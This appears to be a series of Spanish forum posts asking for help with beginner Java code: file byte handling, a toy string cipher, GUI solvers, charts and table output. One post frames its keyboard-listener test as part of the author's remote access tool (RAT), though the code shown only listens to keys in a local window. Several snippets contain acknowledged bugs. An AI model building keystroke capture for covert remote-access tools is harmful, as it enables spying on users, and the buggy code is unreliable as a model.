* @author debci
*/
public class ManipulacionArchivos {
public static void main(String args[]) {
        try {
            // Se abre el fichero para lectura y escritura.
            RandomAccessFile fichero = new RandomAccessFile("/home/debci/Imágenes/love.jpg", "rw");
// Nos situamos en el byte 100 del fichero.
            int longitud = (int) fichero.length();
            fichero.seek(0);
            byte[] matrizBytes = new byte[longitud];
            for (int i = 0; i< fichero.length(); i++) {
                try {
                    fichero.seek(i);
                    matrizBytes[i] = fichero.readByte();

                } catch (IOException ex) {
                    Logger.getLogger(ManipulacionArchivos.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
            for (int x=0; x < fichero.length();x++){
            System.out.println(matrizBytes[x]);
            }
            int doblePosicion = (int) (fichero.length() * 2);
            if(fichero.length() == 0){
                fichero.setLength(1);
            }
            fichero.setLength(doblePosicion);
            for(int o = 0; o < 100; o++) {
                //Bucle que copia bytes segun su posicion paralela con intervalos
                //de x2
            for(int y = 0; y < fichero.length() / 2 ; y++){
                if(fichero.length() == 0){
                    fichero.seek(0);
                    fichero.writeByte(98);
                }
                fichero.seek(fichero.length()/2 + y);
                fichero.writeByte(matrizBytes[y]);
                int progreso = (int) fichero.length() / 2;
                System.out.println("Quedan " + (progreso - y) + " bytes por copiar.");

            }

            }
           
        } catch (IOException ex) {
            Logger.getLogger(ManipulacionArchivos.class.getName()).log(Level.SEVERE, null, ex);
        }

}
}


Creo que no esta mal para haberlo sacado usando solamente mi logica y una duda que consulte en el foro.

Vereis que el algoritmo es rebuscado de coj**** pero servira para que muchos entiendan como funciona esto.

Saludos
#112
Java / Guardar bytes de un archivo en una matriz
29 Noviembre 2009, 12:27 PM
Hola a todos, estoy intentando guardar un archivo (todos sus bytes) en una matriz, pero no lo consigo, mirad mi codigo:

Código (java) [Seleccionar]

package archivos;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class ManipulacionArchivos {
public static void main(String args[]) {
        try {
            // Se abre el fichero para lectura y escritura.
            RandomAccessFile fichero = new RandomAccessFile("/home/debci/test.archivo", "rw");
// Nos situamos en el byte 100 del fichero.
            int longitud = (int) fichero.length();
            fichero.seek(100);
            byte matrizBytes[] = new byte[longitud];
            for(int i = 0; i< fichero.length(); i++) {

           matrizBytes[i] = fichero.readByte();
           System.out.println(matrizBytes);
            }

Pero no lo consigo, quizas será porque el metodo
Código (java) [Seleccionar]
readByte(); no es aumentativo, no lo se, solo se que no lo consigo.

Un saludo a todos
#113
Java / Problema con el detecion de Teclado
28 Noviembre 2009, 16:16 PM
Hola a todos, estoy mejorando mi RAT en java que pronto acabare pero se me presenta una duda, a partir del siguiente codigo:

Código (java) [Seleccionar]

ackage robot;

import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.*;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JFrame;

/**
*
* @author debci
*/
public class TestTeclado extends JFrame implements KeyListener {
public static void main(String args[]){

      TestTeclado teclado = new TestTeclado();
      teclado.Teclas();
        try {
            System.in.read();
        } catch (IOException ex) {
            Logger.getLogger(TestTeclado.class.getName()).log(Level.SEVERE, null, ex);
        }

}


public void KeyPress(KeyEvent evento) {
    while(true) {
        System.out.println("Se oprimió tecla: " + evento.getKeyText( evento.getKeyCode() ));
    }
}

    public void keyTyped(KeyEvent evento) {
       while(true) {
        System.out.println("Se oprimió tecla: " + evento.getKeyText( evento.getKeyCode() ));
    }
    }

    public void keyPressed(KeyEvent evento) {

    while(true) {
        System.out.println("Se oprimió tecla: " + evento.getKeyText( evento.getKeyCode() ));
    }
    }
    public void keyReleased(KeyEvent evento) {
        while(true) {
        System.out.println("Se oprimió tecla: " + evento.getKeyText( evento.getKeyCode() ));
    }
    }

    private void Teclas() {
       TestTeclado tecladito = new TestTeclado();
       tecladito.setVisible(true);
        addKeyListener(this);
    }

}

La cosa, que diga cosas, es que se me presentan dos dudas:

1- Puedo agregar un keyListener a algo que no sea un frame? Es decir una simple aplicacion de shell.
2- Aunque lo haga con un jframe no me detecta las teclas, como es esto?

Saludos
#114
Java / Problema con algoritmo encriptador y matriz
22 Noviembre 2009, 12:11 PM
Hola a todos, hoy estaba diseñando un algoritmo que cifra cadenas, cuando me dio un error extraño (puede que sea por mi autodidactia) que no soy capaz de resolver:


Código (java) [Seleccionar]
public void cifra() {
String cadenaIntroducida = new String("Debci");

cadenaIntroducida.toUpperCase();
char[] matrizCaracteres = cadenaIntroducida.toCharArray();
int numeroCaracteres = matrizCaracteres.length;
System.out.println("La cadena tiene " + numeroCaracteres +" caracteres." );
for(int i = 0; i < numeroCaracteres; i++){
    matrizCaracteres[i] = matrizCaracteres[i+1];
}
for(int x = 0; x < numeroCaracteres; x++){
    System.out.println(matrizCaracteres[x]);
}

}

La cosa, es que mi algoritmo hace lo siguiente, transforma todos los valores del array en el siguiente del indice, es decir, el valor que este en 0, sera transformado por el que este en 1, el de uno sera el 2, basicamente corre hacia un lado los indices.
Me da un error raro al ejecutar:

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 5
        at encriptacion.Encriptador.cifra(Encriptador.java:23)
        at encriptacion.Encriptador.main(Encriptador.java:32)
La cadena tiene 5 caracteres.
Java Result: 1

A que se debe?

Saludos
#115
Ingeniería Inversa / OllyDbg para Linux?
20 Noviembre 2009, 18:11 PM
Hola a todos, estaba investigando sobre el cracking, y me vino a la cabeza una duda existencial de las mias....  :¬¬
Existe algun debugger bueno para Linux? Con interfaz grafica si pudiese ser xD
He estado intentando compilar el EDB pero no hay pelotas, me da muchos errores y no genera binarios.

Saludos
#116
Hola a todos, aqui os dejo, la plantilla, que he creado para solucionar ecuaciones de segundo grado con las dos raizes, como resultado:

Código (java) [Seleccionar]

/*
* Programa que resuelve ecuaciones de segundo grado
* con capacidad ilimitada.
*/

/*
* Main.java
*
* Created on 20-nov-2009, 15:53:49
*/

package ecuaciones;

/**
*
* @author debci
*/
public class Main extends javax.swing.JFrame {

    /** Creates new form Main */
    public Main() {
        initComponents();

    }

    /** Definicion de los mtodo y datos para la interfaz
    */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        Muestra = new javax.swing.JLabel();
        jLabel1 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jLabel2 = new javax.swing.JLabel();
        a = new javax.swing.JTextField();
        XCuadrado = new javax.swing.JLabel();
        jLabel3 = new javax.swing.JLabel();
        b = new javax.swing.JTextField();
        jLabel4 = new javax.swing.JLabel();
        jLabel5 = new javax.swing.JLabel();
        c = new javax.swing.JTextField();
        jScrollPane1 = new javax.swing.JScrollPane();
        Consola = new javax.swing.JTextArea();
        btnResolver = new javax.swing.JButton();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Resolucion de ecuaciones de 2o Grado");

        Muestra.setToolTipText("Muestra de la ecuacion de segundo grado");

        jLabel1.setText("Resolucion de una ecuacion de segundo grado");

        jTextField1.setText("0");

        jLabel2.setText("=");

        jLabel3.setText("+");

        b.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                bActionPerformed(evt);
            }
        });

        jLabel4.setText("X");

        jLabel5.setText("+");

        Consola.setColumns(20);
        Consola.setEditable(false);
        Consola.setRows(5);
        Consola.setText("--Solventador de ecuaciones sencillo--\n--Version beta--\n--Andoni Diaz <andoni94@gmail.com>--\n----------------------------------------------------\n_____________________________________\n----------------------------------------------------\n");
        Consola.setToolTipText("Consola de resolucion de ecuaciones");
        Consola.setAutoscrolls(true);
        jScrollPane1.setViewportView(Consola);

        btnResolver.setText("Resolver Ecuacion");
        btnResolver.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnResolverActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(68, 68, 68)
                .addComponent(jLabel1)
                .addContainerGap(84, Short.MAX_VALUE))
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(167, Short.MAX_VALUE)
                .addComponent(Muestra, javax.swing.GroupLayout.PREFERRED_SIZE, 118, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(164, 164, 164))
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 28, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel2)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(a, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(3, 3, 3)
                .addComponent(XCuadrado, javax.swing.GroupLayout.PREFERRED_SIZE, 19, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel3)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(b, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(4, 4, 4)
                .addComponent(jLabel4)
                .addGap(18, 18, 18)
                .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 19, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(c, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(174, Short.MAX_VALUE))
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 382, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(55, Short.MAX_VALUE))
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(306, Short.MAX_VALUE)
                .addComponent(btnResolver)
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(15, 15, 15)
                .addComponent(jLabel1)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(Muestra, javax.swing.GroupLayout.PREFERRED_SIZE, 20, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel2)
                        .addComponent(a, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel3)
                        .addComponent(b, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel4)
                        .addComponent(c, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addGroup(layout.createSequentialGroup()
                        .addGap(4, 4, 4)
                        .addComponent(XCuadrado, javax.swing.GroupLayout.PREFERRED_SIZE, 19, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 128, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 28, Short.MAX_VALUE)
                .addComponent(btnResolver)
                .addContainerGap())
        );

        pack();
    }// </editor-fold>

    private void bActionPerformed(java.awt.event.ActionEvent evt) {                                           
        // TODO add your handling code here:
    }                                           

    private void btnResolverActionPerformed(java.awt.event.ActionEvent evt) {
        int a_i;
        int b_i;
        int c_i;
        int x;
        int y;
        //Transformacion de valores a entero
        a_i = Integer.parseInt(a.getText());
        b_i = Integer.parseInt(b.getText());
        c_i = Integer.parseInt(c.getText());

        //Calculo del primer coeficiente, este es positivo
        x=(int) ((-b_i + Math.sqrt(b_i ^ 2 - 4 * a_i * c_i)) / (2 * a_i));
        //Calculo del segundo coeficiente, este es negativo
        y=(int) ((-b_i - Math.sqrt(b_i ^ 2 - 4 * a_i * c_i)) / (2 * a_i));

       String ResultadoX = Integer.toString(x);
       String ResultadoY = Integer.toString(y);
       Consola.append("Resultados de la ecuacion obtenidos:\n");
       Consola.append("X = "+ ResultadoX + "\n");
       Consola.append("Y = "+ ResultadoY + "\n");
       Consola.append("La dos raizes de la ecuacion son X y Y\n\n");
       Consola.append("--------------------------------------\n\n");

    }

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new Main().setVisible(true);
                Muestra.setText("a*x^2+b*x+c");
                XCuadrado.setText("X²");
            }
        });
    }

    // Variables declaration - do not modify
    private javax.swing.JTextArea Consola;
    private static javax.swing.JLabel Muestra;
    private static javax.swing.JLabel XCuadrado;
    private javax.swing.JTextField a;
    private javax.swing.JTextField b;
    private javax.swing.JButton btnResolver;
    private javax.swing.JTextField c;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextField jTextField1;
    // End of variables declaration

}

Si, esta hecho con netbeans, al que no le guste que no mire xDDD  :¬¬
Sinceramente, diseñar interfaces con netbeans es mas rapido y ahorra tiempo de programacion, y mas os aseguro que antes programaba interfaces con la clase Swing y era un toston.

Bueno disfrutadlo ^^

Saludos

;)
#117
Java / Problema de construcion de tabla
17 Noviembre 2009, 18:29 PM
Hola a todos, tengo una duda existencial (con la de cosas chungas que he pasado y me quedo aqui XDD)
Bueno mirad, os explico, he hecho un programita en java que hace graficas a partir de funciones, y lecturas en un db, la cosa es que doy la opcion de mostrarlo en forma de grafica y en forma de tabla de valores, la cosa esta en que la tabla de valores, se jode cuando hay un numero de mas de 1 una cifra, observad vosotros:


          X    |   f(X)  
    _______|__________
             1 |  200
             2 |  45
             3 |  215
             4 |  80
             5 |  80
             6 |  50
             7 |  30
             8 |  35
             9 |  40
          10 |  40
          11 |  40
          12 |  100
          13 |  400

Esta desalineada, asi que no sale bien, y no se en que estoy fallando :s

Mirad el codigo que genera la tabla de valores:

Código (java) [Seleccionar]

public static void getDatos(){
          String sql = "Select x as meses, y as sesion from sesiones";
          try{
              statement = con.createStatement();
               rs= statement.executeQuery(sql);
               System.out.println("       X    |   f(X)   ");
               System.out.println("     _______|__________");
               while(rs.next())
                   
                   System.out.println("          "+rs.getInt(1)+" "+"| "+" "+rs.getInt(2));
                     
               rs.close();
          }catch(SQLException e ){
              System.err.println("Error: "+e);
          }
         
     }

Haber si me podeis orientar un poco.

Saludos a todos!
#118
Java / Problema con JFreeChart
16 Noviembre 2009, 19:24 PM
Hola todos, he compuesto el siguiente codigo:

Código (java) [Seleccionar]

package ventana;
import java.awt.Frame;
import org.jfree.data.*;
import org.jfree.chart.*;
import org.jfree.chart.plot.*;
import java.awt.image.*;
import org.jfree.data.category.CategoryDataset;
import org.jfree.data.category.DefaultCategoryDataset;
import org.jfree.data.jdbc.JDBCCategoryDataset;
import org.jfree.data.jdbc.JDBCXYDataset;
import org.jfree.data.xy.XYDataset;
import org.jfree.data.xy.XYSeries;
import org.jfree.data.xy.XYSeriesCollection;
import java.sql.*;


/**
*
* @author  Administrador
*/
public class VentanaGrafica extends java.awt.Frame {
    BufferedImage grafica = null;
    static BufferedImage image;
   
    /** Creates new form VentanaGrafica */
    public VentanaGrafica() {
       super("Ejemplos usando JFreeChart.");
        initComponents();
    }
   
   
    // <editor-fold defaultstate="collapsed" desc=" Generated Code ">                         
    private void initComponents() {
       
        addWindowListener(new java.awt.event.WindowAdapter() {
            public void windowClosing(java.awt.event.WindowEvent evt) {
                exitForm(evt);
            }
        });
       
        pack();
    }
    // </editor-fold>                       
   
    /** Exit the Application */
    private void exitForm(java.awt.event.WindowEvent evt) {                         
       System.exit(1);
       
    }                         
   
   
    // Variables declaration - do not modify                     
    // End of variables declaration                   
    public static BufferedImage creaImagen(Connection con) {
         
        try{
             String sql= "Select x as meses, y as ventas from sesiones";
            JDBCXYDataset xyDataset = new JDBCXYDataset(con,sql);
             JFreeChart chart = ChartFactory.createLineChart("Grafica de Ventas",
                "Meses","Ventas %",(CategoryDataset) xyDataset,PlotOrientation.VERTICAL,
                true,
                true,
                 true                // Show legend
                );
            //JFreeChart chart1 = ChartFactory.
                image = chart.createBufferedImage(600,400);
            return image;
        }catch(SQLException e){
            System.err.println("Error al obtener datos de la BDD: "+e);
        }
        return image;
    }
   public void paint(java.awt.Graphics g) {
       
        if(grafica == null) {
            grafica = this.creaImagen(Conexion.con);
        }
        g.drawImage(grafica,40,80,null);
    }
   
     
}



Pero al ejecutarlo, me salta un error, y no me crea la grafica, asi que os pongo el error que tira:


Exception in thread "AWT-EventQueue-0" java.lang.ClassCastException: org.jfree.data.jdbc.JDBCXYDataset cannot be cast to org.jfree.data.category.CategoryDataset
        at ventana.VentanaGrafica.creaImagen(VentanaGrafica.java:65)
        at ventana.VentanaGrafica.paint(VentanaGrafica.java:82)
        at sun.awt.RepaintArea.paintComponent(RepaintArea.java:248)
        at sun.awt.X11.XRepaintArea.paintComponent(XRepaintArea.java:56)
        at sun.awt.RepaintArea.paint(RepaintArea.java:224)
        at sun.awt.X11.XComponentPeer.handleEvent(XComponentPeer.java:688)
        at java.awt.Component.dispatchEventImpl(Component.java:4706)
        at java.awt.Container.dispatchEventImpl(Container.java:2099)
        at java.awt.Window.dispatchEventImpl(Window.java:2475)
        at java.awt.Component.dispatchEvent(Component.java:4460)
        at java.awt.EventQueue.dispatchEvent(EventQueue.java:599)
        at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269)
        at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184)
        at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174)
        at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169)
        at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161)
        at java.awt.EventDispatchThread.run(EventDispatchThread.java:122)
Java Result: 1
GENERACIÓN CORRECTA (total time: 29 seconds)
#119
Java / 2o Problema, encriptador con GUI
15 Noviembre 2009, 17:39 PM
HOla a todos, antes encontré una clase que encriptaba texto  :o y le hice una gui, la cosa es que la gui cifra bien, pero no descifra!

Codigo de la gui:

Código (java) [Seleccionar]

package main;

/**
*
* @author debci
*/
import encriptador.*;
public class Main extends javax.swing.JFrame {
public static String contraseñaEncriptada;
    /** Creates new form Main */
    public Main() {
        initComponents();
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jTabbedPane1 = new javax.swing.JTabbedPane();
        jPanel1 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        textoIntroducido = new javax.swing.JTextField();
        claveIntroducida = new javax.swing.JTextField();
        jLabel2 = new javax.swing.JLabel();
        btnEncriptar = new javax.swing.JButton();
        contraseEncr = new javax.swing.JLabel();
        jLabel3 = new javax.swing.JLabel();
        jPanel2 = new javax.swing.JPanel();
        btnDesencriptar = new javax.swing.JButton();
        entradaHash = new javax.swing.JTextField();
        entradaClave = new javax.swing.JTextField();
        jLabel4 = new javax.swing.JLabel();
        jLabel5 = new javax.swing.JLabel();
        jLabel6 = new javax.swing.JLabel();
        clavedesencriptada = new javax.swing.JLabel();
        jMenuBar1 = new javax.swing.JMenuBar();
        jMenu1 = new javax.swing.JMenu();
        jMenu2 = new javax.swing.JMenu();
        jMenuItem1 = new javax.swing.JMenuItem();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Encriptador Basico");

        jLabel1.setText("Introduzca el texto que desea cifrar:");

        jLabel2.setText("Introduzca la clave de cifrado:");

        btnEncriptar.setText("cifrar");
        btnEncriptar.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnEncriptarActionPerformed(evt);
            }
        });

        contraseEncr.setText("Contraseña cifrada");
        contraseEncr.setToolTipText("Contraseña cifrada");

        jLabel3.setText("Contraseña cifrada:");

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(textoIntroducido, javax.swing.GroupLayout.PREFERRED_SIZE, 179, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel2)
                    .addComponent(claveIntroducida, javax.swing.GroupLayout.PREFERRED_SIZE, 179, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel1)
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()
                        .addComponent(contraseEncr)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 47, Short.MAX_VALUE)
                        .addComponent(btnEncriptar))
                    .addComponent(jLabel3))
                .addContainerGap())
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel1)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(textoIntroducido, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(18, 18, 18)
                .addComponent(jLabel2)
                .addGap(7, 7, 7)
                .addComponent(claveIntroducida, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel3)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(btnEncriptar)
                    .addComponent(contraseEncr))
                .addContainerGap())
        );

        contraseEncr.getAccessibleContext().setAccessibleParent(this);

        jTabbedPane1.addTab("cifrar", jPanel1);

        btnDesencriptar.setText("descifrar");
        btnDesencriptar.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnDesencriptarActionPerformed(evt);
            }
        });

        jLabel4.setText("Clave cifrada:");

        jLabel5.setText("Clave de descifrado:");

        jLabel6.setText("La clave descifrada es:");

        clavedesencriptada.setText("Clave descifrada");

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel4)
                        .addContainerGap(167, Short.MAX_VALUE))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(entradaHash, javax.swing.GroupLayout.DEFAULT_SIZE, 191, Short.MAX_VALUE)
                        .addGap(87, 87, 87))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel5)
                        .addContainerGap(124, Short.MAX_VALUE))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(entradaClave, javax.swing.GroupLayout.DEFAULT_SIZE, 191, Short.MAX_VALUE)
                        .addGap(87, 87, 87))
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
                        .addComponent(clavedesencriptada)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 50, Short.MAX_VALUE)
                        .addComponent(btnDesencriptar))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel6)
                        .addContainerGap(108, Short.MAX_VALUE))))
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel4)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(entradaHash, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(18, 18, 18)
                .addComponent(jLabel5)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(entradaClave, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel6)
                .addGap(7, 7, 7)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(btnDesencriptar)
                    .addComponent(clavedesencriptada))
                .addContainerGap())
        );

        jTabbedPane1.addTab("descifrar", jPanel2);

        jMenu1.setText("Archivo");
        jMenuBar1.add(jMenu1);

        jMenu2.setText("Acerca de...");
        jMenu2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenu2ActionPerformed(evt);
            }
        });

        jMenuItem1.setText("Ver creditos del programa");
        jMenuItem1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem1ActionPerformed(evt);
            }
        });
        jMenu2.add(jMenuItem1);

        jMenuBar1.add(jMenu2);

        setJMenuBar(jMenuBar1);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addComponent(jTabbedPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 306, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jTabbedPane1, javax.swing.GroupLayout.Alignment.TRAILING)
        );

        pack();
    }// </editor-fold>

    private void jMenu2ActionPerformed(java.awt.event.ActionEvent evt) {                                       
       
    }                                     

    private void jMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {                                           
        Acerca acerca = new Acerca();
        acerca.setVisible(true);
    }                                         

    private void btnEncriptarActionPerformed(java.awt.event.ActionEvent evt) {
        String palabraNormal = textoIntroducido.getText();
        String ClaveIntroducida = claveIntroducida.getText();
       

        encriptador encriptador = new encriptador();
        contraseñaEncriptada = encriptador.codificar(palabraNormal, ClaveIntroducida).trim();
        contraseEncr.setText(contraseñaEncriptada);
        contraseEncr.setVisible(true);

    }

    private void btnDesencriptarActionPerformed(java.awt.event.ActionEvent evt) {
        String hashIntroducido = entradaHash.getText();
        String claveDesencriptadora = entradaClave.getText();
        entradaHash.setText(contraseñaEncriptada);
        encriptador encriptador = new encriptador();
        String claveDesencriptadaLimpia = encriptador.decodificar(hashIntroducido);
        clavedesencriptada.setText(claveDesencriptadaLimpia);
    }

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {

            public void run() {
                new Main().setVisible(true);
                contraseEncr.setVisible(false);
                clavedesencriptada.setVisible(false);
            }
        });
    }

    // Variables declaration - do not modify
    private javax.swing.JButton btnDesencriptar;
    private javax.swing.JButton btnEncriptar;
    private javax.swing.JTextField claveIntroducida;
    private static javax.swing.JLabel clavedesencriptada;
    private static javax.swing.JLabel contraseEncr;
